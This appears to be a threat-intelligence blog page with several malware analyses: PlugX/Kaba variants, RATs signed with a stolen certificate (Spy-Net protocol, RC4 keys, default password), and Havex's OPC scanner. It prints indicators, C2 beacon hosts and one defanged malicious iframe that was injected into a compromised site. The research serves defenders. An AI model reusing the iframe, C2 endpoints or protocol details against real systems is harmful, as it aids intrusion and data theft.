Blog

Information and insight on today's advanced threats from the leader in advanced threat prevention.

All Posts


Pacific Ring of Fire: PlugX / Kaba

As depicted in earlier FireEye blogs, advanced cyber attacks are no strangers to the Asia Pacific region. In this blog, we take a deeper look at some of the advanced persistent threat (APT) malware that have significant presence in the APAC region, starting with PlugX (we detect it as Backdoor.APT.Kaba).

The PlugX / Kaba malware is a well-known remote access tool (RAT) believed to have been around for several years that continues to evolve itself in new attack campaigns. It is often seen used in APT campaigns alongside two other infamous RATs – PoisonIvy and Taidoor. For this blog, FireEye Labs has investigated PlugX samples discovered throughout 2013 as well as recent variants detected between January and June 2014. Countries on both sides of the Pacific incuding the United States as well as Northeast Asian countries such as South Korea, Hong Kong, Japan and Taiwan were most hit by this malware, with attacks spanning multiple industry verticals. The top  5 most targeted verticals include Technology, Aerospace / Defense, Entertainment / Media, Telecommunications and Government (Federal).

Figure 1: PlugX / Kaba Infections (by Country)

Figure 1: PlugX / Kaba Detections (by Country)

Table 1: Top 5 Affected Verticals

Table 1: Top 5 Affected Verticals

Delivering the Attacks

PlugX is most commonly distributed via an exploit, but may also be delivered using a RAR self-extracting executable. Amanda Stewart has written an excellent blog and paper about the common components of the PlugX / Kaba RAT and how it capitalizes on the DLL side-loading technique. In general, the RAT consists of DLL components that are injected into the process memory of svchost.exe. To deliver the DLL components, a “dropper” must first be executed through the use of an exploit, or via social-engineering tactics over e-mail or web to entice the victims to load an executable file.

Figure 2: Primary PlugX “Dropper” File Types

Figure 2: Primary PlugX “Dropper” File Types

While RTF files exploiting CVE-2012-0158 are nothing new, they are still most frequently used in the delivery of PlugX to its targets. The same vulnerability has also been exploited through Excel spreadsheets and Word document files. More recently, a Flash zero-day vulnerability has been exploited to deliver a PlugX payload.

Where an exploit is not used, RAR self-extracting executable (SFX) files were commonly used throughout 2013. These files often appear to have a Word or PDF icon and launch a decoy document that is displayed to the victim. The PlugX RAT is then loaded in the background without the user’s knowledge. While we have noticed a decrease in the use of this vector to deliver PlugX in 2014, it continues to be an effective technique for PlugX and other malware, so we do not expect its use to disappear entirely.

In the below example, the RAR SFX contains a script that loads the RAT (config.exe) and the decoy document (notice.doc).

Figure 3: RAR SFX Script and Files

Figure 3: RAR SFX Script and Files

Command and Control

We have found two dominant variants, SideBar and RasTLS, using 4 of the top 10 domains associated with the PlugX / Kaba command and control (C2) infrastructure. In fact, the 4 domains resolved to the same IP range based in Hong Kong likely operated by the same threat group(s).

Table 2: Top domains used in PlugX / Kaba Callbacks

Table 2: Top Domains used in PlugX / Kaba Callbacks

SideBar

The SideBar variant is delivered through RTF, Word and Excel files. Upon successfully exploitation, it drops “dw20.dll” to the %TEMP% folder. This “dw20.dll” continues to install the following files:

  • %ALLUSERS%\WS\Gadget.exe (MD5: 6b97b3cd2fcfb4b74985143230441463)
  • %ALLUSERS%\WS\SideBar.dll (MD5: 123e1841cc596c1f40e2e6693ea7dcac)
  • %ALLUSERS%\WS\SideBar.dll.doc (MD5: a0c93bdc089e1338cc392108a0e57f2f)

A service registry key is created to start “Gadget.exe” upon reboot of the infected system.
“Gadget.exe” is part of a benign “TENCENT Sidebar” application digitally signed by “Tencent Technology(Shenzhen) Company Limited “. Using the DLL-side loading method, a malicious version of“SideBar.dll” is loaded and executes the exported function “Main”.

“SideBar.dll” is a loader for “SideBar.dll.doc”, executing code at offset 0. “SideBar.dll.doc” decodes a part of its own data and is responsible for deflating a backdoor component. It spawns a new svchost.exe process and injects the backdoor into memory. This backdoor component remains only in memory, and is never saved to disk.

Figure 4: Decompressing Encoded Data

Figure 4: Decompressing Encoded Data

Version information can often be found in PlugX’s process memory. In SideBar, a DWORD value storing the internal version number was 0×20120123. The path names found in the deflated backdoor’s process memory indicating that this PlugX variant is version 6.0:

  • “d:\work\plug6.0(360)(gadget)”

The variant connects to fast.bacguarp.com and bbs.zuesinfo.com over port 8080.

RasTLS

While the RasTls variant is also dropped by document exploits, the dropped files are different. RasTls does not use the DLL side-loading method found in older variants [3]. The DWORD used to store the internal version number of RasTls was 0×20130810.

  • %ALLUSERS%\DRM\RasTls\RasTls.exe

“RasTls.exe” spawns “svchost.exe” and injects a deflated backdoor component into memory. The deflated backdoor component in memory contains a “XV” marker, instead of “MZ” and “PE” as found in regular Windows portal executable (PE) files. This is because “RasTls.exe” manually loads each section of deflated file into memory, so the file does not have to be a complete PE image.

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

Figure 5: Backdoor Component with “XV” maker instead of “MZ” and “PE”

The variant doesn’t contain strings implying version. The variant accept commands like as “ST1”, “ST2”, “TT1”,”TT2” which are different from version 6.

In memory space in the “svchost.exe”, we can see the decoded configuration information:

Figure 6: Decoded Configuration Information

Figure 6: Decoded Configuration Information

All RasTls variants have largely identical configuration and connects to scqf.bacguarp.com and scqf.zuesinfo.com over port 443. The “My_Name” mutex is also common to all RasTls variants.

PlugX Encryption Algorithm

PlugX has a variety of encryption algorithms used to encrypt its data across variants. However, the encryption style is largely similar as depicted in Figure 7.

Figure 7: PlugX Decryption Algorithm

Figure 7: PlugX Decryption Algorithm

In RasTls, the DWORD decryption key was found in the first four bytes of the encrypted string. It was also less aggressive in encrypting and hiding its data. In older variants such as “win3dx.DLL” (MD5: 7ADAE0335C9D6C9F3826CDE9747438B7), most API names were decrypted before loading and nullified after use. This makes understanding the malware slightly more difficult for malware analysts.

The supported functionalities are largely similar where it uses the identical command code. Below is a list of PlugX commands for file system manipulation:

  • 0×3000: GetDiskRelatedInformation
  • 0×3001: SearchDirectoryForFiles
  • 0×3002: SearchDirectoryRecursively
  • 0×3004: ReadFile
  • 0×3007: WriteFile
  • 0x300A: CreateDirectory
  • 0x300C: CreateWindowsDesktop
  • 0x300D: PerformSH_FileOperation
  • 0x300E: ExpandEnvironmentVariable

Some improvements were made by its developers. For example, the key logger function was updated to utilize the GetRawInputData API to collect keystrokes. “RegisterRawInputDevices” and “GetRawInputData” were two of the few API names that remain encrypted in RasTls.

Updated Key Logging Component

Figure 8: Updated Key Logging Component

PlugX / Kaba Trending

Figure 9 shows the trending of total PlugX / Kaba infections and their variants: SideBar and RasTLS. The spike in September 2013 was caused by SideBar. In 2014, we see SideBar and RasTLS on an inverse trend, with the latter on a steady increase.

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 10 shows the distribution of SideBar/RasTls variants by country. The C2 servers are located in Hong Kong, where much of the attacks have occurred. We also find a variety of countries targeted by these variants. In some of the exploit documents delivering these variants, the content revolves around the theme of NGOs and socio-political events in China and Japan. These are content that would likely be of interest to the victims who would be opening the documents.

Figure 10: Distribution of SideBar/RasTls Variants by Country

Figure 10: Distribution of SideBar/RasTls Variants by Country

Conclusion

The Asia Pacific region remains a highly attractive target of advanced cyber-attacks. Many threat groups  have a particular in interest in this region, and are likely continue to launch new attacks against targets here. We recommend that users in this region block access to the above C2 servers. FireEye Labs will continue to monitor and report on new PlugX / Kaba developments.

 

Security as a Differentiator: Investis Partners With FireEye Managed Defense to Offer Its Clients the Very Best in Cybersecurity

This is a contributed post from Alex Booth, COO, Investis

As a provider of digital corporate communication services to many of the world’s leading companies, information security is of critical importance to us here at Investis. In order to be the world’s safest platform for managing digital communications and hosting corporate sites, we wanted the strongest security partner in the business. As COO of Investis, this was a critical decision which is why I wanted to share the reasons we chose FireEye Managed Defense. To give you the short version, though, the choice was easy – the long version of which you can see in the video below or get a synopsis of in this post…

We are an ISO 27001 certified company and a member of CISP, the UK government’s cybersecurity information partnership. We believe you can never take security too seriously, especially in a digital landscape with increasingly sophisticated cybercrime. With that in mind, we wanted the most advanced solution to protect our environment and clients, and FireEye was the perfect partner to help us safeguard against advanced threats.

FireEye is the cybersecurity partner of choice for many of the US’s largest firms and its subsidiary, Mandiant, was selected by the UK Government Communications Headquarters (GCHQ) as one of four vendors certified to respond to cybersecurity attacks targeting the UK’s national infrastructure.

As a result of an on-site assessment by Mandiant consultants, we chose to augment our security team with the FireEye Managed Defense service.

We are looking forward to working with the great team over at FireEye to ensure we offer our clients the very best in cybersecurity.

The Little Signature That Could: The Curious Case of CZ Solution

Malware authors are always looking for new ways to masquerade their actions. Attackers are looking for their malware to be not only fully undetectable, but also appear valid on a system, so as not to draw attention. Digital signatures are one way malware authors keep under the radar. Digital signatures are an easy, quick way to verify the authenticity of an application utilizing the signature.

Threat actors routinely steal digital signing certificates to hide in plain sight. There are recent reports of banking Trojans such as Zeus, using valid signatures to get past both automated and human defenses. Part of performing accurate threat intelligence is continually looking to the past to help better predict the future. This is proven in the samples we will be discussing in this blog. Many of the samples throughout this blog are from the summer of 2013. These particular samples however, piqued our interest because of the mass distribution of RATs in a particular targeted region. It also reminded us of a recent XtremeRAT blog we published earlier in 2014.

The Little Signature That Could

While investigating an uptick in Spy-Net spam campaigns, we came across a malware binary that was digitally signed that struck our interest. Spy-Net allows an attacker to interact with the victim via a remote shell to upload/download files, interact with the registry, running processes and services as well as capture images of the desktop and record form the webcam and audio. It also contains functionality to extract saved passwords and turn the victim into a proxy server. During the build process, an attacker can choose to enable a keylogger and evasion functionality designed to stop the information process if a debugger or virtual machine is found.

We noticed that one of the Spy-Net binary files, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0), upon closer inspection, was utilizing a valid digital signature, from a company called CZ Solution Co. Ltd.

cz1

Figure 1: Signature Details of sc2.exe

Looking closer at the signature, we noticed that all of the details were intact, and appeared to be valid. There are two additional code-signing certificates issued to CZ Solution Co. Ltd.

cz2

Figure 2: Additional Signature Details

Investigation of sc2.exe showed typical Spy-Net behaviors. The sample beaconed out to ekinox.no-ip.info. From here, we decided to pivot off the CZ Solution signature and see what we could find.

Connections Emerge

As we started to pivot off the CZ Solution signature, we started to see some interesting commonalities. Pivoting proved that the CZ Solution signature was not just used in Spy-Net binaries. We quickly found that this signature was being used with XtremeRAT, a popular RAT that cybercriminals and targeted attackers use regularly. The code of XtremeRAT is shared amongst several other Delphi RAT projects including Spy-Net, CyberGate, and Cerberus.

XtremeRAT allows an attacker to:

  • Interact with the victim via a remote shell
  • Upload/download files
  • Interact with the registry
  • Manipulate running processes and services
  • Capture images of the desktop
  • Record from connected devices, such as a webcam or microphone

One binary for instance, m.exe (MD5: c27232691dacf4cff24a4d04b3b2896b) which was XtremeRAT, was seen beaconing out to http://omegaphotography.[co].uk, batardchris.servehttp.com /1234567890.functions, and www.batteurmag.com/[plugin].xtr.

Likewise, we saw multiple samples of the Zeus Trojan utilizing the CZ Solution signature. Zeus modifiers can tune Zeus to steal information they are interested in; typically login credentials for online social networkse-mail accountsonline banking or other online financial services. Zeus is commonly seen targeting customers of financial institutions.

One of the Zeus samples, uk.exe (MD5: dcd3e45d40c8817061f716557e7a05b6) that was utilizing the CZ Solution signature, was beaconing out to claire-morin.com/file.php.

Looking at the three samples show that CZ Solution was used to create and sign Spy-Net, XtremeRAT, and Zeus samples. Graphing out the connections between the samples we profiled, you can quickly see how fast this web of similarities continue.

cz3Figure 3: Connection Profile of Binaries Using CZ Solution

The French Connection and C2 overlap

Attribution of actors and/or campaigns can often be a difficult and tedious task. However, since we were dealing with so many inter-twining binaries, we could start to draw some parallels between samples.

When looking at the overall connections between the CZ solution signature, you can start to see a trend emerge.  First, there is some C2 overlap. For instance Dllsv.exe (MD5: 3f042fd6b9ce7e23b3c84c6f7323dd75) communicates out to ekinox.no-ip.info, using the same CZ Solution cert. This malware is flagged as BozokRAT; a user-friendly RAT that can upload and download files to and from a computer, modify registry entries, and perform other typical RAT functions. That same C2, ekinox.no-ip.info, is also seen used by the aforementioned Spy-Net binary, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0).

In another example of C2 overlap, a file named uk.exe, (MD5: 9c11ef09131a3373eef5c9d83802d56b) uses its C2 as omega-photography.co.uk. This sample is an active Zeus binary. That same C2 is used with a file named x.exe, (MD5: c27232691dacf4cff24a4d04b3b2896b), an active XtremeRAT binary.

Next, we needed to identify at least one infection vector to ensure we could track how one of the binaries using the CZ Solution signature was getting into environments.

In one case, we found the infection vector for an XtremeRAT binary that was using the CZ Solution certificate. The binary came in the form of phished email (MD5: 7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order.

cz4

The email was in French and the headers were interesting, as the same sender has been seen in multiple French spam runs.

cz5

The attachment in the email is using the RTLO trick to disguise a 7zip file as a PDF.

While looking at the all the samples we correlated and pivoted off of, we found that a majority of both the language and C2’s being used all revolved around the French language. The domains that were part of the C2 infrastructure were almost all exclusively French, as was the registrant information for the domains in question.

Spy-Net C2 Protocol Analysis

As we have already shared some analysis details of XtremeRAT in a previous blog, we decided to share some information and tools we built regarding Spy-Net this time. This information is based on our analysis of Spy-Net version 2.6 specifically. Other versions of Spy-Net may have significant changes to the protocol. Spy-Net 2.6 utilizes a homegrown protocol like many other publicly available RATs. It’s an ASCII based, pipe-delimited protocol utilizing Portuguese keywords that employs two totally different forms of obfuscation: one for outbound communication to the attacker and another for inbound communication to the implant. The outbound communications are compressed with zlib and encrypted with RC4. The RC4 key is hard-coded and is updated with version changes. For example, the RC4 key for Spy-Net 2.6 is njkvenknvjebcddlaknvfdvjkfdskv, while for CyberGate 1.07, which has a similar (if not the same) protocol the key is njgnjvejvorenwtrnionrionvironvrnvcg107 and CyberGate 1.18’s key is njgnjvejvorenwtrnionrionvironvrnvcg117.

The astute reader may have noticed that the last three numbers of the CyberGate keys (roughly) represent the version number of CyberGate. The inbound communication to the implant employs an ASCII encoding scheme similar to Base64.  This protocol begins with a simple authentication scheme where the implant sends an authentication password that is validated by the client. This password is configurable by the attacker and defaults to abcd1234.  The implant then proceeds to send the entirety of its configuration information, as configured by the attacker, to the client so it can be displayed on its “Configuration” tab.

Authentication

Implant->Client: mypassword|Y|

Configuration Request and Response

Client->Implant: configuracoesdoserver|

Implant->Client: configuracoesdoserver|configuracoesdoserver|192.168.1.2:81|#myID|mypassword|C:\WINDOWS\install\server.exe|C:\Program Files\Internet Explorer\iexplore.exe| | |{0OP8GNN1-GIWW-CC7M-AJ0I-6Y554UOJJ241}|Policies|FALSE|TRUE|TRUE|TRUE|***MUTEX***| | |TRUE|FALSE| | | | | | |FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|server.exe#crack.exe#|FALSE|

The outbound communications from the implant to the client are prepended with an ASCII representation of the length of the payload followed by a pipe character and a new line character.

cz6

There is a noticeable lack of sophistication in Spy-Net’s code. For example, in some cases the length indicator is followed by a pipe and a single new line (\n) character as seen in *nix based operating systems. In other cases, the indicator is followed by the carriage return and new line characters (\r\n), as seen in Windows operating systems. This lack of conformity is also witnessed in how there are two totally different schemes used for obfuscation, and in how obfuscation is not used for file transfers as it is otherwise used throughout the protocol.

Spy-Net Protocol Decoder

Since Spy-Net is a publicly available RAT that we see in use quite often, we decided to build a ChopShop module for it and share it in cooperation with our friends at MITRE.  The module is now available as a standard part of the framework available on GitHub.  We are also sharing a Spy-Net configuration dumping pycommand for Immunity Debugger.  While hunting for related samples in VirusTotal, we came across a pcap that had captured the initial infection and subsequent communication of the Spy-Net binary we initially mentioned, (MD5: 6a56f6735f4b16a60f39b18842fd97d0). This gave us a great opportunity to test our new decoder. One thing that Spy-Net implants will commonly send out automatically is a thumbnail image of the user’s desktop. This is displayed on the client.

cz7

Our decoder can extract such images from the pcap and what we found gave us a further hint that we may be dealing with attacks focused in France. Although difficult to read due to the very low resolution of the thumbnail, our pcap decoder was able to tell us that the title of the browser window currently open in this screenshot is “Football – MAXIFOOT l’actualit  foot et transfert – Windows Internet Explorer.”

cz8

Distribution via Malicious Java Applet

According to the details of the pcap we decoded, this French football Web site (maxifoot.fr) was apparently compromised and had an iframe inserted into it that pointed to another compromised Web site, a Canadian addiction recovery resource: unwasted.ca.

<iframe width=”1px” height=”1px” src=”hxxp://unwasted.ca/skins/index.html” style=”display: block;” ></iframe>

The latter site hosted a malicious Java applet that downloaded the Pony/Fareit malicious downloader. The downloader then proceeded to install ZeuS and download and execute the aforementioned Spy-Net binary. All of these binaries were signed with the stolen digital certificate. The malicious Java applet used to install the Pony downloader was created by Foxxy Software and had been previously written about by ESET.

RAT Configuration Details

We assembled a compilation of the meaningful configuration data found in the XtremeRAT and Spy-Net samples we came across in our analyses. You can observe some similarities between the samples’ configurations.

MD5 Version Dir/Path ID Group Mutex Password
f5e6c0a2c9000311513521947a76cb4b Spy-Net 2.6 C:\WINDOWS\system32\conhost\conhost.exe Updater2014 NA R5438NM5 abcd1234
6a56f6735f4b16a60f39b18842fd97d0 Spy-Net 2.6 C:\WINDOWS\system32\Winini\taskhost.exe Uframer NA A7TF5W abcd1234
7416ec2889227f046f48c15c45c102da XtremeRAT 3.5 Private InstallDir SpaM SPAM eyA8znpc NA
2e776e18dec61cf6ccd68fbacd55fab3 XtremeRAT 3.5 Private svhost Diesel Diesel lNFAH0 NA
be47ec66d861c35784da527bf0f2e03a XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH0 NA
c27232691dacf4cff24a4d04b3b2896b XtremeRAT 3.5 Private InstallDir IdSec idsection eyA8znpc NA
e79636e4c7418544d188a29481c100bb XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH04 NA
bd70a7cae3ebf85cf1edd9ee776d8364 XtremeRAT 3.5 Private svhost IdSec IdSec lNFAH0 NA
0be3b0e296be33903bf76b8cd9cf52ca XtremeRAT 3.5 Private svhost CiTa IdSec x4KybsbM NA

Conclusion

The usage of digital signatures isn’t going to decrease anytime soon- especially by threat actors. It gives them a quick, easy way to bypass traditional security controls since certificates and signatures are typically trusted by default. In this blog, we are shown that this trend still true. We looked towards the past in this blog, to better understand motivations and trends going forward. We can accurately say, based on the information attributed, that the CZ Solution signatures were being utilized by an individual or group of individuals using French assets and infrastructure.

These particular actors didn’t show a significant level of expertise, but did show collective resources with knowledge in at least Zeus, Spy-Net, and XtremeRAT. We can say accurately that it is likely these actor(s) were using the same signature to send out a wide range of binaries, possibly even outside of the realm of the four families discussed here. As we wrote this blog, we couldn’t help but be reminded of the spam run focused in Colombia and Central America that we wrote about back in February of this year. A spam run that is regionally focused, but with no apparent targeting in nature, utilizing a mix of ZeuS and off-the-shelf RATs.

Helping protect your organization from threats using valid digital signatures can include verification of the signature’s serial number. In this case, the serial number: 6e 7b 63 95 ac 5b 5c 8a 2a ec c4 52 8d 9e 65 10, is the identifier to locate in regards to this publisher. Also, if you’re running your own internal certificate authority, ensure you are adequately revoking certificates that may have been compromised. This will help ensure compromised certificates are not utilized in attacks.

 

Havex, It’s Down With OPC

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1[3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno[1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers[2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer[1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll” file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function.  The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions.  Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking.  The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

Screen Shot 2014-07-17 at 12.31.56 PM

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

            Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls.  The encryption process uses an RSA public key obtained from the PE resource TYU.  The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”.  A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

00000000  32 39 0a 66 00 66 00 30  00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030  00 30 00 66 00 66 00 30  00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040  0a 31 32 38 0a 96 26 cc  34 93 a5 4a 09 09 17 d3 .128..&.4..J….00000050  e0 bb 15 90 e8 5d cb 01  c0 33 c1 a4 41 72 5f a5 …..]…3..Ar_.00000060  13 43 69 62 cf a3 80 e3  6f ce 2f 95 d1 38 0f f2 .Cib….o./..8..00000070  56 b1 f9 5e 1d e1 43 92  61 f8 60 1d 06 04 ad f9 V..^..C.a.`…..00000080  66 98 1f eb e9 4c d3 cb  ee 4a 39 75 31 54 b8 02 f….L…J9u1T..00000090  b5 b6 4a 3c e3 77 26 6d  93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0  08 6a 22 89 b7 d3 72 d4  1f 8d b6 80 2b d2 99 5d .j”…r…..+..]000000B0  61 87 c1 0c 47 27 6a 61  fc c5 ee 41 a5 ae 89 c3 a…G’ja…A….000000C0  9e 00 54 b9 46 b8 88 72  94 a3 95 c8 8e 5d fe 23 ..T.F..r…..].#000000D0  2d fb 48 85 d5 31 c7 65  f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

–Truncated–Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72  94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

Screen Shot 2014-07-17 at 12.41.27 PM

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

Screen Shot 2014-07-17 at 12.43.48 PM

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant.  We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References

US GAO Report Highlights Incident Response Shortcomings

On May 30th, 2014, the US Government Accountability Office (GAO) released a report titled “Information Security: Agencies Need to Improve Cyber Incident Response Practices.” GAO conducted its research by randomly selecting six government agencies, then selecting a statistically significant number of incident reports (40 from each organization), documented during 2012. GAO then evaluated how the agencies performed, based on the reports. GAO compared the documented incident response actions to requirements set by the Federal Information Security Management Act of 2002 (FISMA) and National Institute of Standards and Technology (NIST) Special Publication 800-61, Computer Security Incident Handling Guide. The results were surprising and I will explain the significance of several excerpts in this post.

First, “agencies had recorded actions to halt the spread of, or otherwise limit, the damage caused by an incident in about 75 percent of incidents government-wide. However, agencies did not demonstrate such actions for about 25 percent of incidents government-wide.”

This comment references the need to contain an intrusion. If a government agency fails to completely contain an intrusion, any gaps leave the adversary freedom of maneuver. He can exploit the containment failure to proliferate to other systems and remain in control of an organization’s systems. Anything less than 100% containment is essentially 0% containment.

Second, “for about 77 percent of incidents government-wide, the agencies had identified and eliminated the remaining elements of the incident. However, agencies did not demonstrate that they had effectively eradicated incidents in about 23 percent of incidents.”

This comment references the need to remove an intruder from a compromised organization. Similar to the need for 100% containment, one must also achieve 100% removal in order to completely frustrate the adversary. If an adversary retains access to even one system, he can rebuild his position and retake control of the victim.

Third, “agencies returned their systems to an operationally ready state for about 81 percent of incidents government-wide. However, they had not consistently documented remedial actions on whether they had taken steps to prevent an incident from reoccurring. Specifically, agencies did not demonstrate that they had acted to prevent an incident from reoccurring in about 49 percent of incidents government-wide.”

This comment describes the need to learn from intrusions and implement remediation. If a victim fails to make the environment tougher for the adversary, the intruder will likely return using the same techniques that he utilized to first gain access.

Finally, a search of the entire GAO report for the word “strategy” produced zero hits. Beyond being disappointed by the three excerpts I highlighted above, I am dismayed to not hear GAO discuss the need for a security strategy for organizations. Incident response is not a technical action. IR should be part of a business process, done as part of an operation that implements a strategy understood and approved by the highest levels of management. Furthermore, the GAO report did not really evaluate the consequences of the three documented failures and the lack of concrete security strategies. Had GAO taken that step, they might have concluded that the agencies continue to face severe security challenges.

Network Forensics: Use Cases In the Enterprise

Network forensics is an important component of a successful security operations program. It is an important capability that provides a data of record for the incident responder and plays an important role in the daily security operations workflow.  While the utility and importance of network forensics may be clear to the security professional, that value may be difficult to communicate to the business decision maker or executive. In this post, I’d like to discuss several business use cases for network forensics that may help communicate the value and business need for network forensics as an integral component of incident response.

Breach Response

When an organization discovers, or is notified of a breach, time becomes of the essence. The organization’s immediate focus becomes moving quickly from detection to containment. In order to make this move, the organization needs to answer a set of essential questions aimed at identifying the extent of the breach and the damage caused by it. This process is often called breach response and involves investigation, analysis, and forensics. Examples of some of the questions that will need to be answered are:

  • How long has this activity been going on (i.e., when did the intrusion begin)?
  • Is the activity still going on?
  • How many systems were affected?
  • What data was taken?
  • Was any sensitive, proprietary, or confidential information taken?

These and other relevant questions are designed to focus the organization on rapidly identifying the extent of the damage, both for containment purposes, but also to address potential public relations, legal, and privacy concerns. For example, consider the case where a law enforcement agency approaches a business (of any size) and informs them that they have been breached and have been observed communicating with a known drop site. The organization will have many questions, including, among many others, those listed above. An accurate, cohesive, lossless data of record is required to properly answer all of the necessary questions. Further, it’s not sufficient merely collect the data, but rather, it must be easy to precisely, incisively, and rapidly extract that data for analysis and forensics.

Hunting

